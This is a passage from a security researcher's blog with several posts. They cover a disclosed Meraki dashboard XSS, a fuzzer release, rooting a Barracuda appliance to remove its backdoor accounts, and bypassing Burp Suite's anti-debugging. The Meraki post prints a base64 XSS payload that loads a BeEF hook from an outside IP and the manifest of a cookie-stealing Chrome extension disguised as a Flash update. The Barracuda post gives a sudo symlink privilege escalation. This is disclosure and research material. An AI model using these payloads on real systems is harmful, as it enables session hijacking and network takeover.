An attacker with access to a Meraki dashboard can craft a malicious JS payload to steal the dashboard session cookie and obtain access to other users' devices. In practice, this allows to completely take over Meraki's wired and wireless networks.<br />
<br />
<a href="http://beefproject.com/">BeEF</a>, the well-know Browser Exploitation Framework, has been used to simulate a realistic attack:<br />
<br />
<ol>
<li>The attacker customizes the splash page of his/her WiFi AP with an arbitrary JS payload, which includes the BeEF hook </li>
<li>Connecting a device to the physical wireless network controlled by the attacker (e.g. a testing device), it is possible to retrieve the URL of the splash page including the unique token </li>
<li>Using social engineering, the attacker tricks the victim(s) into visiting the attacker-controlled splash page</li>
<li>At this point, the victim browser is hooked in BeEF</li>
<li>Using one of the available BeEF modules, the attacker can retrieve the <i>HttpOnly</i> <span style="font-family: inherit;"><span style="font-family: inherit;"><span style="background-color: #f5f8f8; color: #333333; line-height: 20px; text-align: left;"><b>dash_auth</b></span> cookie</span> and get access to the victim's Meraki dashboard </span></li>
<li><span style="font-family: inherit;">In the case of Meraki WiFi Access Point, a convenient map will display the position of the device. In the config tab, it is also possible to disclose the network's password. At this stage, the actual network can be fully controlled by the attacker<br />
<br />
</span></li>
</ol>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-3CYlaFPop9s/URyGHmFxiZI/AAAAAAAAC_U/tTba3bTaNxc/s1600/DisplayWifiPass.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-3CYlaFPop9s/URyGHmFxiZI/AAAAAAAAC_U/tTba3bTaNxc/s1600/DisplayWifiPass.png" /></a> </div>
<br />
A demonstration video of the attack is also available:<br />
<br />
<iframe allowfullscreen="" frameborder="0" height="285" mozallowfullscreen="" src="http://player.vimeo.com/video/61332497?byline=0&portrait=0&color=c9ff23" webkitallowfullscreen="" width="500"></iframe><br />
<br />
For the interested readers, a few technical details are also shared:<br />
<ul>
<li>Cookie flags (e.g. <i>HttpOnly</i>) are the <i>ASLR/DEP</i> of browser security. It is possible to bypass those mitigation techniques, although it's getting more complex. Thanks to the progress of browser security and general awareness, stealing cookies marked as HttpOnly via JS payload isn't trivial anymore. <a href="http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf">Cross Site Tracing</a> and similar techniques are obsolete. Browser plugins have been also patched. Besides exploiting <a href="http://blog.nibblesec.org/2012/12/ui-redressing-mayhem-httponly-bypass_19.html">specific servers or browsers </a><span style="font-family: inherit;"><a href="http://blog.nibblesec.org/2012/12/ui-redressing-mayhem-httponly-bypass_19.html">bu</a><span style="color: #222222;"><span style="line-height: 16px;"><a href="http://blog.nibblesec.org/2012/12/ui-redressing-mayhem-httponly-bypass_19.html">gs</a>, attackers can only rely on social engineering tricks. During our Proof-of-Concept, a fake Flash update has been used to install a malicious Chrome extension and get access to all cookies<br />
</span></span></span></li>
<li>Chrome extensions run with different privileges than normal JavaScript code executed by the renderer. A Chrome extension can override default SOP restrictions and issue cross-domain requests reading the HTTP response, accessing other browser tabs, and also reading every cookie including those marked as HttpOnly. The manifest of the deliberately backdoored Chrome Extension is the following. The background.js file loads the BeEF hook.<br />
<br />
<div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">{</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> "name": "Adobe Flash Player Security Update",</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> "manifest_version": 2,</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> "version": "11.5.502.149",</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> "description": "Updates Adobe Flash Player with latest securty updates",</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> "background": {</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> "scripts": ["background.js"]</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> },</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> "content_security_policy": "script-src 'self' 'unsafe-eval' https://174.136.111.122; object-src 'self'",</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> "icons": { </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> "16": "icon16.png",</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> "48": "icon48.png",</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> "128": "icon128.png" </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> },</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> "permissions": [</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>"tabs", </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>"http://*/*", </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><span class="Apple-tab-span" style="white-space: pre;"> </span>"https://*/*",</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> "cookies"</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> ]</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">}</span></div>
</div>
<div>
</div>
<div>
<br />
Not to blame Google, but just FYI when the backdoored Chrome Extension was uploaded to Google Chrome Webstore, it was available straight after the upload. No checks were made by the application, for example to prevent the upload of an extension with very relaxed permissions, unsafe-eval CSP directive, and Name/Description fields containing an obviously fake content such as "Adobe Flash Update" </div>
</li>
<li><span style="font-family: inherit;"><span style="color: #222222;"><span style="line-height: 16px;">Choosing Google Chrome as target browser</span></span></span><span style="color: #222222; line-height: 16px;"> required to bypass XSS Auditor, the integrated Anti-XSS filter. As discovered by <a href="https://bugs.webkit.org/show_bug.cgi?id=29278#c6">Mario Heiderich</a>, the data URI schema with </span><i style="color: #222222; line-height: 16px;">base64</i><span style="line-height: 16px;"><span style="color: #222222;"> content can be leverage to bypass the filter. The following code snippet will trigger the classic <i>alert(1)</i>, even on the latest Google Chrome</span><span style="font-family: inherit;"><span style="background-color: white; color: #666666; line-height: 20px;"> </span></span><span style="color: #222222;">at the time of writing <span style="color: black;">(version </span><span style="background-color: white; color: black; line-height: 20px;">24.0.1312.71)</span></span></span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-LR1KV24GEWU/UTmhFhWm28I/AAAAAAAAC_8/sNMSgOFjT0A/s1600/ChromeAntiXSSbypass.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-LR1KV24GEWU/UTmhFhWm28I/AAAAAAAAC_8/sNMSgOFjT0A/s1600/ChromeAntiXSSbypass.png" /></a></div>
<br />
</li>
<li>The final attack vector to inject the initial BeEF hook in Meraki's page is:<br />
<br />
<span style="font-family: Courier New, Courier, monospace;"><iframe src="data:text/html;base64,PHNjcmlwdD5zPWRvY3VtZW50LmNyZ<br />
WF0ZUVsZW1lbnQoJ3NjcmlwdCcpO3MudHlwZT0ndGV4dC9qYXZhc2Nya<br />
XB0JztzLnNyYz0naHR0cHM6Ly8xNzQuMTM2LjExMS4xMjIvaG9vay5qc<br />
yc7ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ2hlYWQnKVswX<br />
S5hcHBlbmRDaGlsZChzKTs8L3NjcmlwdD4="></span><br />
<br />
And what is actually executed is: <br />
<br />
<span style="font-family: Courier New, Courier, monospace;"><script></span> <span style="font-family: Courier New, Courier, monospace;">s=document.createElement('script');</span> <span style="font-family: Courier New, Courier, monospace;">s.type='text/javascript';</span> <span style="font-family: Courier New, Courier, monospace;">s.src='https://174.136.111.122/hook.js';</span> <span style="font-family: Courier New, Courier, monospace;">document.getElementsByTagName('head')[0].appendChild(s);</span> <span style="font-family: Courier New, Courier, monospace;"></script></span> <br />
<br />
Having a backdoored Chrome Extension running in your browser opens for many new attack vectors wich we din't covered in the PoC. For example, it is possible to inject the BeEF hook in every open tab (you can get the impact of this :-), or use the victim browser as an open proxy using BeEF's <a href="https://github.com/beefproject/beef/wiki/Tunneling">Tunneling Proxy</a> component and many other attacks</li>
</ul>
<br />
This blog post is brought to you by <a href="https://twitter.com/_ikki">@_ikki</a> (NibbleSec) and <a href="https://twitter.com/antisnatchor">@antisnatchor</a> (BeEF core dev team).<br />
Thanks to<a href="http://www.meraki.com/"> Meraki</a> for the prompt response and the great service.Unknownnoreply@blogger.com5tag:blogger.com,1999:blog-732257695511948254.post-78424570656531594282013-02-03T22:56:00.001-08:002013-02-03T22:56:54.347-08:00Effective AMF Remoting Message fuzzing with Blazer v0.3<br />
After several weeks of extensive testing and debugging, <a href="http://code.google.com/p/blazer/downloads/detail?name=Blazer_v0.3.jar&can=2&q=">Blazer v0.3</a> is finally out!<br />
It's been a long ride since the first lines of code, back in 2011. In this post, I am going to present all new features and describe Tips&Tricks to make your AMF security testing even more effective. <br />
<br />
If you are not familiar with Blazer, have a look at the project page: <a href="http://code.google.com/p/blazer/">http://code.google.com/p/blazer/</a>. <br />
New to Burp Suite? Have a look at the <a href="http://portswigger.net/burp/tutorials/">video tutorials</a> and consider to buy <a href="http://www.packtpub.com/burp-suite-starter/book">Instant Burp Suite Starter</a>.<br />
<br />
<h3>What's new?</h3>Blazer v0.3 includes a few interesting new features presented during my <a href="http://www.slideshare.net/ikkisoft/amf-testing-made-easy-deepsec-2012">DeepSec talk</a>, but even more important is the result of extensive testing on Windows, Mac OS X and Linux using multiple Java Runtime Environments and recent Burp Suite releases.<br />
<br />
<ul><li><b>Java classes and source code import feature</b><br />
In addition to JARs, it is now possible to import directories containing <i>.class</i> and <i>.java</i> files. The ability to import source code, in addition to application libraries, allows to partially use Blazer even during black-box security testing.<br />
</li>
<li><b>AMF request/response export functionality (AMF2XML)</b><br />
Sharing details of security vulnerabilities triggered by AMF messages was annoying, as it was not possible to export AMF requests and responses in an intelligible format. Using the AMF2XML feature, it is now possible to export those messages in a file or console.<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="http://i.imgur.com/usvJo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="208" src="http://i.imgur.com/usvJo.png" width="320" /></a></div><br />
</li>
<li><b>Sandbox feature using a custom security manager </b><br />
<span style="background-color: white; font-family: inherit; line-height: 16.390625px;">The rationale behind the introduction of this feature is to prevent any malicious action caused by application libraries. Blazer uses Java reflection and fairly complex heuristics to automatically instantiate and populate objects by using the application libraries. Application objects are created on the tester's computer and methods are locally invoked to populate attributes before sending the AMF message to the remote service. As a result, untrusted application libraries may end up writing files, opening network sockets or other involuntary IO operations.<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="http://i.imgur.com/whqQOre.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="110" src="http://i.imgur.com/whqQOre.png" width="320" /></a></div><br />
</span></li>
<li><b>Numerous bugs and performance issues fixed</b><br />
I've fixed more than 20 bugs and multiple performance issues, including an annoying GUI refresh bug on OS X and Windows. This version has been extensively tested on multiple platforms; I've specifically delayed the release to make sure that all issues I've encountered during my testing have been fixed.</li>
</ul><h3><br />
</h3><h3>BlackBox vs GrayBox testing with Blazer</h3><div>Blazer is a security tool for <i>gray-box testing</i>. It has been designed and built with the assumption that the application libraries are available to the tester. All Java classes exchanged between client and server should be imported in the tool. This is a realistic assumption if you are doing vulnerability research, not if you are performing a standard pentest.<br />
<br />
However, starting from this release, it is actually possible to partially use Blazer during black-box testing. If your application is using primitive types and libraries which can be downloaded from the Internet, you can benefit from Blazer's automatic objects generation by manually crafting a fake <i>.java</i> file including all method signatures:<br />
<br />
<b>1.</b> Decompile the client-side Flex components (e.g. SWF files) or monitor the network traffic in order to enumerate all remote methods. <a href="http://deblaze-tool.appspot.com/">Deblaze</a> tool can be used for it. </div><div><br />
</div><div><b>2.</b> Create a <i>.java</i> file containing method signatures as observed in the traffic. Something like the following:<br />
<blockquote class="tr_bq">package flex.samples.product;<br />
public class ProductService{<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>public Product getProduct(int prodId){}<br />
} </blockquote><b>3.</b> In Blazer, import the crafted Java source file and all application libraries referenced in the application. At this stage, Blazer can be used to automatically generate objects and perform fuzzing.<br />
<br />
<h3>Tips & Tricks </h3><div>Fuzzing complex applications containing multiple custom classes isn't trivial. To improve<span style="font-family: inherit;"> <span style="background-color: white; line-height: 16.390625px;">coverage and effectiveness, the following recommendations can save you precious time:</span></span><br />
<br />
<ul><li><span style="font-family: inherit;"><span style="line-height: 16.390625px;">Always<a href="http://www.portswigger.net/burp/help/suite_gettingstarted.html#launching"> increment </a></span><span style="background-color: white; line-height: 17px;"><a href="http://www.portswigger.net/burp/help/suite_gettingstarted.html#launching">the amount of memory</a> that your computer makes available to Burp Suite. If you are generating a large number of AMF messages, consider to chain <b>two</b> instances of Burp Suite. The first instance can be used to intercept the application requests and launch Blazer. In Blazer, set the proxy within <i>tab 3</i> to point to the second Burp Suite instance. The latter will collect all requests generated by Blazer. In Burp Suite Pro, you can also set <a href="http://www.portswigger.net/burp/help/options_misc.html#automaticbackup">automatic backups</a> to prevent any data loss.<br />
</span></span></li><br>
<li><span style="background-color: white; font-family: inherit; line-height: 17px;"><span style="line-height: 16.390625px;">As of Burp Suite v1.5.01, <a href="http://www.portswigger.net/burp/extender/">Burp Extender</a> has a new API. Blazer h</span></span><span style="background-color: white; font-family: inherit; line-height: 16.390625px;">as been improved to support both old and new Burp Extender APIs. Standard output and error can be displayed within Burp Extender, to a file or in the console screen. During testing, I suggest to redirect those streams to two separate files in order to record all operations and exceptions.<br />
</span></li><br>
<li><span style="background-color: white; font-family: inherit; line-height: 16.390625px;">Balancing the number of <i>permutations</i>, <i>attack vectors</i> and <i>probability</i> is the magic sauce of Blazer. Read the original </span><a href="http://blazer.googlecode.com/files/BH2012_LucaCarettoni_WP_FINAL.pdf" style="background-color: white; font-family: inherit; line-height: 16.390625px;">whitepaper</a><span style="background-color: white; font-family: inherit; line-height: 16.390625px;">/</span><a href="http://blazer.googlecode.com/files/BH2012_LucaCarettoni_PRESO_FINAL.pdf" style="background-color: white; font-family: inherit; line-height: 16.390625px;">presentation</a><span style="background-color: white; font-family: inherit; line-height: 16.390625px;">, make sure to understand those settings and tune the tool. Even better, check the implementation of the </span><span style="background-color: white; font-family: inherit; line-height: 16.390625px;"><i>ObjectGenerator</i> class.<br />
</span></li><br>
<li><span style="background-color: white; font-family: inherit; line-height: 16.390625px;"><i>Divide et impera</i><span style="background-color: white;"><span style="line-height: 19.1875px;"> by breaking up </span>numerous application method signatures into small groups. Start testing a few methods and make sure that you have imported all required application libraries. Finally, review the server responses and monitor the server's status to detect security vulnerabilities. For example - if you are looking for SQL injections - use Burp's <a href="http://portswigger.net/burp/help/proxy_history.html#filter" style="line-height: 19.1875px;">filter by search term</a> to identify AMF messages that triggered visible errors and grep for similar strings in the server logs. Blazer appends a custom HTTP header to all AMF requests that can be used to correlate message and method signature. Also, the newest export functionality can be used to review the AMF payload. </span></span></li>
</ul><br />
Feel free to <a href="mailto:luca.carettoni@ikkisoft.com">email me</a> if you have any question. Also, let me know if you find bugs using Blazer!<br />
</div></div>Unknownnoreply@blogger.com3tag:blogger.com,1999:blog-732257695511948254.post-31593677051280504472013-01-25T01:50:00.001-08:002013-01-25T02:13:08.103-08:00How to patch your Barracuda virtual applianceIt's today's "news" about backdoors found in multiple Barracuda gears. Basically, Barracuda appliances have multiple hardcoded system accounts and firewall rules specifically designed to allow remote assistance. If you want more gossip, you can read about it on <a href="http://krebsonsecurity.com/2013/01/backdoors-found-in-barracuda-networks-gear/">KrebsOnSecurity</a>, <a href="http://www.theregister.co.uk/2013/01/24/barracuda_backdoor/">The Register</a> or <a href="http://www.h-online.com/security/news/item/Backdoors-in-many-Barracuda-appliances-1790947.html">The H Online</a>.<br />
<br />
<h3>
A new old story</h3>
<div class="fullname">
According to the <a href="https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20130124-0_Barracuda_Appliances_Backdoor_wo_poc_v10.txt">original advisory,</a> the bug was discovered on 2012-11-20 by <a href="https://twitter.com/sviehb">Stefan Viehböck</a>. Although Stefan did pretty interesting research in the past (e.g. <a href="http://sviehb.wordpress.com/2011/12/27/wi-fi-protected-setup-pin-brute-force-vulnerability/">WiFi WPS design bug</a>), the Barracuda backdoor is really not a new story. Not only this issue was known, but it was even disclosed and discussed several times<i>:</i></div>
<ul>
<li><a href="http://packetstormsecurity.com/files/35358/Barracuda_Evil.txt.html">http://packetstormsecurity.com/files/35358/Barracuda_Evil.txt.html </a>- 2004</li>
<li><a href="http://archives.neohapsis.com/archives/fulldisclosure/2006-08/0110.html">http://archives.neohapsis.com/archives/fulldisclosure/2006-08/0110.html</a> - 2006</li>
<li><a href="http://blog.shiraj.com/2009/09/barracuda-spam-firewall-root-password/">http://blog.shiraj.com/2009/09/barracuda-spam-firewall-root-password/ </a>- 2009</li>
</ul>
Although it's natural to be surprised that such a critical issue has been underestimated for <b>nine</b> years, we should rather use this opportunity to stop these bad practices. Unfortunately, it's not just Barracuda - many vendors have adopted similar poorly-designed solutions for remote assistance. As customers, we should always evaluate products, pretend more accountability and transparency.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/jlLJaEq.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://i.imgur.com/jlLJaEq.png" /></a></div>
<h3>
Digital self-defense</h3>
In 2011, while helping a friend during the setup of his network, I came across the advisory from 2004 and I started investigating. After having confirmed the issue, I decided to patch the virtual appliance on my own. If you think that the mitigation provided by Barracuda in the <a href="https://www.barracudanetworks.com/support/techalerts">security definition 2.0.5</a> is not adequate for your environment, keep reading. Hopefully, Barracuda will reconsider the situation and you won't need to manually patch your device.<br />
<br />
<b>Disclaimer:</b> <i>Use this information at your own risk! </i><br />
<i>You may end up with a broken appliance and no more vendor warranty. Also, I am not a lawyer and I haven't reviewed the product EULA. Finally, n</i><i>ote that this method has been tested against the Barracuda WebApp Firewall 660vxl (v7.5.0.x) </i><i>virtual appliance only. </i><br />
<br />
<h3>
Patching your virtual appliance</h3>
Removing system accounts and changing <i>iptables</i> configuration require privileged shell access. As the original techniques for rooting the device are now deprecated (at least in the device I had), I started looking for other ways to get a root shell. Soon, I realized that it's possible to abuse the recovery partition in order to include arbitrary resources. This technique requires "physical" access to the appliance and multiple reboots thus I consider it better than disclosing the root password and suggest you to abuse the backdoor in order to patch the device. <br />
<br />
Rooting the Barracuda WebApp Firewall requires a multi steps process:<br />
<br />
<b>1)</b> Boot the Barracuda virtual appliance with a standard Linux distribution (e.g. booting from the virtual CD) and mount the recovery partition (<i>/dev/sda9</i>) in order to copy the patcher script (<i>rootme.sh</i>).<br />
<br />
<i>rootme.sh</i> can be downloaded <a href="http://www.ikkisoft.com/stuff/rootme.sh">here</a><br />
<span style="font-family: "Courier New",Courier,monospace;"><span style="font-size: small;"><span style="color: #3a3935;"><span style="color: #3a3935;"> </span> </span></span></span><br />
<span style="font-family: "Courier New",Courier,monospace;"><span style="font-size: small;"><span style="color: #3a3935;"> $ mkdir /mnt/temp </span></span></span><br />
<span style="font-family: "Courier New",Courier,monospace;"><span style="font-size: small;"><span style="color: #3a3935;"><span style="font-size: small;"><span style="font-size: small;"> </span> $ </span>mount /dev/sda9 /mnt/temp</span></span></span><br />
<span style="font-family: "Courier New",Courier,monospace;"><span style="font-size: small;"> <span style="color: #3a3935;"> $ cp rootme.sh /mnt/temp/</span></span></span><br />
<span style="font-family: "Courier New",Courier,monospace;"><span style="font-size: small;"><span style="color: #3a3935;"> $ chmod 777 /mnt/temp/rootme.sh</span><br />
<span style="color: #3a3935;"> $ /mtn/temp/rootme.sh</span></span></span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/curiwiL.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://i.imgur.com/curiwiL.png" /></a></div>
<br />
<span style="font-family: "Courier New",Courier,monospace;"><span style="font-size: small;"><span style="color: #3a3935;"> </span><span style="color: #3a3935;">$</span><span style="color: #3a3935;"> umount /mnt/temp</span></span></span><br />
<span style="font-family: "Courier New",Courier,monospace;"><span style="font-size: small;"><span style="color: #3a3935;"><span style="color: #3a3935;"> $</span><span style="color: #3a3935;"> reboot</span></span></span></span><br />
<span style="font-family: Courier New, Courier, monospace;"><span style="color: #3a3935;"><br />
</span></span> <br />
<b>2)</b> From the web console, revert the f<span style="font-family: inherit;">irmw</span>are to the factory installed version (<i>Advanced-->Firmware Update-->Firmware Revert</i>) and reboot again the appliance. If the factory <i>Firmware Revert</i> button is not available (it's gray and cannot be selected), you need to update the device to the newest firmware and repeat the entire process.<br />
<br />
<b> 3)</b> Visit <i>https://barracuda_ip/cgi-mod/rootme.cgi</i><b>. </b>After that, you can connect via SSH to the device using a temporary root password. Removing the hardcoded system accounts and changing iptables is left as exercise.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/7v1hZEi.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="346" src="http://i.imgur.com/7v1hZEi.png" width="400" /></a></div>
<br />
A few more technical details:<br />
<br />
<ul>
<li><i style="font-style: italic;">rootme.sh </i>is simply used to copy<i> rootme.cgi</i> to the web console webroot in order to facilitate the rooting process</li>
<li><i>rootme.cgi </i>is used to escalate privileges from the Apache user (nobody) to root, change the root password and the firewall rules in order to allow external access </li>
<li>Privileges escalation is possible due to an insecure sudoers configuration. Again, nothing fancy. Please note that I have reported this misconfiguration to Barracuda on 09/12/2011.</li>
</ul>
<span style="font-family: "Courier New",Courier,monospace;"><span style="font-size: small;"> $ sudo mv /bin/ping /tmp/ping.old</span></span><br />
<div>
<span style="font-family: "Courier New",Courier,monospace;"><span style="font-size: small;"> $ sudo ln -s /bin/bash /bin/ping</span></span><br />
<span style="font-family: "Courier New",Courier,monospace;"><span style="font-size: small;"> $ sudo ping -c whoami</span></span><br />
<div>
<br /></div>
<ul></ul>
<br /></div>
Unknownnoreply@blogger.com2tag:blogger.com,1999:blog-732257695511948254.post-29578262708696844842013-01-13T22:15:00.000-08:002013-01-13T22:15:12.377-08:00Anti-debugging techniques and Burp Suite<h3>
<span style="font-family: inherit;">Incipit</span> </h3>
<div style="text-align: justify;">
No matter how good a Java obfuscator is, the bytecode can still be analyzed and partially decompiled. Also, using a debugger, it is possible to dynamically observe the application behavior at runtime making reverse engineering much easier. For this reason, developers often use routines to<span style="font-family: inherit;"> programmati</span>cally detect the execution under a debugger in order to prevent easy access to application's internals. Unfortunately, these techniques can be also extremely annoying for people with good intents.</div>
<h3>
</h3>
<h3>
Burp Suite</h3>
<div style="text-align: justify;">
Over the course of the years, starting from the very first release, I have been an enthusiastic supporter of <a href="http://portswigger.net/">Burp Suite</a>. Not only <a href="https://twitter.com/PortSwigger">@PortSwigger</a> was able to create an amazing tool, but he also built a strong community that welcome each release as a big event. He has also been friendly and open to receive feedback from us, ready to implement suggested features. Hopefully, he won't change his attitude now.</div>
<br />
<div style="text-align: justify;">
Since a few releases, both <b>Burp Suite Free </b>and<b> Pro </b><u>cannot</u> be executed under a debugger. Unfortunately, this is a severe limitation - especially considering the latest <a href="http://blog.portswigger.net/2012/12/new-burp-suite-extensibility.html">Extensibility API</a>. The new extensibility framework is a game-changer: it is now possible to fully integrate custom extensions in our favorite tool. But, how to properly<b> </b>debug extensions in an IDE? Troubleshooting fairly complex extensions (<span style="font-family: inherit;">e.g.</span> <a href="http://code.google.com/p/blazer/">Blazer</a>) requires lot of debugging. Setting breakpoints, stepping in and out of methods, ... are must-have operations.</div>
<br />
<div style="text-align: justify;">
Inspired by necessity, I spent a few hours to review the anti-debugging mechanism used in Burp Suite Free. According to <a href="http://portswigger.net/burp/eula-free.html">Burp's EULA (Free Edition)</a>, reversing <span style="font-family: inherit;">does</span> not<span style="font-family: inherit;"> seem to be</span> illegal as long as it is "<i>essential for the purpose of achieving inter-operability</i>". Not to facilitate any illegal activity, this post will discuss details related to the Free edition only. <b> </b></div>
<div style="text-align: justify;">
<b>Disclaimer</b>: Don't be a fool, be cool. If you use Burp Pro, you <b>must</b> have a valid license.</div>
<h3>
</h3>
<h3>
Automatic detection of a debugger</h3>
In Java, it is possible to enable remote debugging with the following options:<br />
<br />
<b>-Xdebug -agentlib:jdwp=transport=dt_socket,server=y,address=8000,suspend=n </b><br />
<br />
and attach a debugger with:<br />
<br />
<b> jdb --attach [host]:8000</b><br />
<br />
<div style="text-align: justify;">
A common technique to programmatically understand if a program is running under a debugger involves checking the input arguments passed to the Java Virtual Machine<i>.</i> The following is the pseudo-code of a very common technique:</div>
<blockquote class="tr_bq">
for(ManagementFactory.getRuntimeMXBean().getInputArguments() ...){<br />
if(Argument.contains("-Xdebug") || Argument.contains("-agentlib") ...){<br />
// Do something annoying for the user<br />
}</blockquote>
<div style="text-align: justify;">
In practice, <i>ManagementFactory</i> returns the managed bean for the runtime system of the current Java Virtual Machine that can be used to retrieve the execution arguments (see <a href="http://docs.oracle.com/javase/1.5.0/docs/api/java/lang/management/RuntimeMXBean.html">RuntimeMXBean API</a> for further details). In case of Burp Free, the application gets shutdown via a <i>System.exit(0)</i>;</div>
<h3>
</h3>
<h3>
Bypass techniques, an incomplete list</h3>
<div style="text-align: justify;">
First of all, it is always possible to attach the debugger once the Java process is already up and running. Any check performed during the application startup won't block the execution: <b> </b></div>
<br />
<b>jdb -connect sun.jvm.hotspot.jdi.SAPIDAttachingConnector:pid=<span style="font-family: inherit;">[</span>Process ID]</b><br />
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-family: inherit;">Unfortunately, this is a <i>read-only</i> mechanism and cannot be used within traditional IDEs. A few better solutions require tweaking the application in order to modify the program execution. This can be achieved via static changes in the <i>.class</i> files or using static/dynamic bytecode instrumentation. </span><span style="font-family: inherit;">The code above is pretty simple and can be bypassed in several ways:</span></div>
<ul>
<li><span style="font-family: inherit;">Using <a href="http://classeditor.sourceforge.net/">ClassEditor</a>, <a href="http://rejava.sourceforge.net/">reJ</a> or any other tool that allow <i>.class</i> manipulation, it is just necessary to identify all strings in the constant pool used during the string comparison within the <i>if-statement</i>. For instance, you could replace all strings with a bunch of "a" so that the program won't even enter in the <i>if-statement</i> body</span></li>
</ul>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://2.bp.blogspot.com/-9odwozd7xow/UOEo39CttSI/AAAAAAAAC94/ridx3R_yv9E/s1600/Screenshot-3.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="http://2.bp.blogspot.com/-9odwozd7xow/UOEo39CttSI/AAAAAAAAC94/ridx3R_yv9E/s1600/Screenshot-3.png" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Manually changing the Constant Pool of a .class file</td><td class="tr-caption" style="text-align: center;"><br /></td><td class="tr-caption" style="text-align: center;"><br /></td><td class="tr-caption" style="text-align: center;"><br /></td></tr>
</tbody></table>
<ul>
<li> <span style="font-family: inherit;">An even more portable solution, especially when strings obfuscation is used, consist of editing the bytecode using <a href="http://www.csg.ci.i.u-tokyo.ac.jp/~chiba/javassist/">JavaAssist</a> or similar libraries. This allows to write a piece of code that search a class and patch it:</span></li>
<ul>
<li><span style="font-family: inherit;">For instance, we could force the <i>getInputArguments()</i> to return an empt<i>y List<string>;</string></i></span><br />
</li>
<li><span style="font-family: inherit;">Or, we could insert an arbitrary unconditional jump </span><i>jsr</i> to skip the program shutdown;</li>
<li><span style="font-family: inherit;">Or again,<i> </i>it is possible to override the <i>System.exit() </i>method with a local method using an empty body. First, we need to create a fake <i>static exit(int)</i> method. Then, we replace <i>System.exit() </i>with the custom method within our class.</span></li>
</ul>
</ul>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://3.bp.blogspot.com/-3sqlNqS-3MI/UOEr7nBtEJI/AAAAAAAAC-I/9vDtVYEi39g/s1600/Screenshot-4.png" style="margin-left: auto; margin-right: auto;"><img border="0" src="http://3.bp.blogspot.com/-3sqlNqS-3MI/UOEr7nBtEJI/AAAAAAAAC-I/9vDtVYEi39g/s1600/Screenshot-4.png" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Using JavaAssist to replace an existent method within a Class</td></tr>
</tbody></table>
<h3>
<span style="font-family: inherit;">Patching Burp Free for debugging your custom extensions</span></h3>
<div style="text-align: justify;">
<span style="font-family: inherit;">With
the honest intent to simplify the life of coders writing
custom Burp's extensions, I have developed a small utility (<b><i>BurpPatchMe</i></b>) to patch your own copy of Burp Free - which will allow you to debug your code in NetBeans, Eclipse, etc.</span></div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://4.bp.blogspot.com/-kQ8d6eE06xI/UOE4YXjclcI/AAAAAAAAC-o/0OZ0Whb4sSY/s1600/Screenshot-2.png" style="margin-left: auto; margin-right: auto;"><img border="0" src="http://4.bp.blogspot.com/-kQ8d6eE06xI/UOE4YXjclcI/AAAAAAAAC-o/0OZ0Whb4sSY/s1600/Screenshot-2.png" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><span style="font-family: inherit;">BurpPatchMe</span></td></tr>
